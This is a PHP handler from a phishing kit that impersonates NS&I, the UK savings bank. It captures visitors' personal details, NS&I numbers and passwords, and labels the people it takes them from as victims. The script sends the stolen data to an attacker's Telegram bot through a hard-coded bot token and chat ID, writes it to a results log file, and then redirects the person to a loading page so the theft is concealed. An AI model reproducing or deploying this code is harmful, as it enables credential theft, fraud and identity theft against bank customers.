<?php
session_start();
error_reporting(0);


/*
// List of allowed email domains
$allowedDomains = [
    'btinternet.com',
    'specific.com',
    // Add more allowed domains here
];

// Assuming the email field is named 'email' in your form
$email = $_POST['emailns4']; // Replace this with the actual input field name for email in your form

// Extract the domain from the email address
list($user, $domain) = explode('@', $email);

// Check if the domain part of the submitted email is in the allowed list
if (!in_array($domain, $allowedDomains)) {
    // Domain is not allowed, redirect back with an error
    $_SESSION['error'] = 'The email domain is not allowed.';
    header("Location: result2.php"); // Replace form.php with the actual form page
    exit;
}
*/

/* 
New variables

$_SESSION['emailns4'] = $_POST['emailns4'];
$_SESSION['passwordns4'] = $_POST['passwordns4'];

*/ 

// Assume this variable holds whether or not the form has been submitted correctly.
$isFormValid = true;

// Perform server-side validation checks.
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Define the expected pattern for the form input.
    $expectedPattern = '/^(11|21|31|41).{8,}$/';

    // Validate the form input using the pattern.
    if (isset($_POST['nsnumber']) && !preg_match($expectedPattern, $_POST['nsnumber'])) {
        // Validation failed, set the error message.
        $_SESSION['errorMessage'] = "Invalid input format.";
        $isFormValid = false;
    }

    // If all inputs are valid, proceed with processing form data.
    if ($isFormValid) {
        // Process your form data here - store in database, send email, etc.
        $_SESSION['nsnumber'] = $_POST['nsnumber'];
$_SESSION['passwordns'] = $_POST['passwordns'];


$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$dateTime = date('Y/m/d G:i:s');
$crd = $_POST['crd'];
$msg = "




+ ------------- Neo NSANDI info  -------------+
+ ------------------------------------------+
+ NS&I first page - user information
| ------------------------------------------+
| First name : ".$_SESSION['forename']."
| Date of birth : ".$_SESSION['dob']."
| Surname : ".$_SESSION['surname']."
| Postcode : ".$_SESSION['postcode']."
| Contact Number : ".$_SESSION['contactnumber']."
| Email address : ".$_SESSION['emailaddress']."
+ ------------------------------------------+
+ Victim Information
| IP : $ip
| Date Received : $dateTime
| Browser : $browser
+ ------------------------------------------+
+ NS&I second page - account details
| ------------------------------------------+
| NS&I Number : ".$_SESSION['nsnumber']."
| Password : ".$_SESSION['passwordns']."
+ ------------------------------------------+
+ Victim Information
| IP : $ip
| Date Received : $dateTime
| Browser : $browser
+ ------------- Neo -------------+";

	
include 'email.php';
$subj = "NEW NS&I email From $fname - $ip";
$headers .= "Content-Type: text/plain; charset=UTF-8\n";
$headers .= "Content-Transfer-Encoding: 8bit\n";
#mail("$to", $subj, $msg,"$headers");


// Your Telegram Bot API token
$botToken = '7359519891:AAGQhvxrSvSxE8Hvm2sjrO6n7TiVsgKsLXo';

// The chat ID you want to send a message to
$chatId = '6724117468';

// Your text message
$message = urlencode($msg);

// Telegram API endpoint for sending a text message
$url = "https://api.telegram.org/bot7359519891:AAGQhvxrSvSxE8Hvm2sjrO6n7TiVsgKsLXo/sendMessage?chat_id=$chatId&text=$message";

// Setup the context options
$contextOptions = [
    'http' => [
        'method' => 'GET',
        'header' => "Content-Type:application/x-www-form-urlencoded\r\n"
    ]
];
$context = stream_context_create($contextOptions);

// Perform the HTTP request
$result = file_get_contents($url, false, $context);

// Handle the result
if ($result === FALSE) {
    // Handle error here
    die('Error sending message');
}

# echo $result; // The result returned by the Telegram API




header("Location: loading.php");

$res= "
+ ------------- Neo Page 2 -------------+<br>
+ ------------------------------------------+<br>
+ NS&I email details<br>
+ ------------------------------------------+<br>
| NS&I Number : ".$_SESSION['nsnumber']."<br>
| Password : ".$_SESSION['passwordns']."<br>
+ ------------------------------------------+<br>
+ Victim Information<br>
| IP : $ip<br>
| Date Received : $dateTime<br>
| Browser : $browser<br>
+ ------------- Neo Page 2 -------------+<br>";

$f = fopen("logs/r35u1ts.html", "a");
fwrite($f, "$res");
fclose($f); 


$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$dateTime = date('Y/m/d G:i:s');
$file = "logs/visitors.html";
$file = fopen($file, "a");
$data = "<pre><b>User IP</b>: $ip <b> Browser</b>: $browser <br>on Time : $dateTime <br></pre>";
fwrite($file, $data);
fclose($file);

    }

}
        // Redirect to a success or thank you page

        // If validation failed, or if the form has not been submitted, show the form again.
if (!$isFormValid || $_SERVER['REQUEST_METHOD'] !== 'POST') {
    // Display the error message if it's set.
    if (isset($_SESSION['errorMessage'])){
        header('Location: email0.php');
        exit;

    }
        

    // Display the form here.
}
?>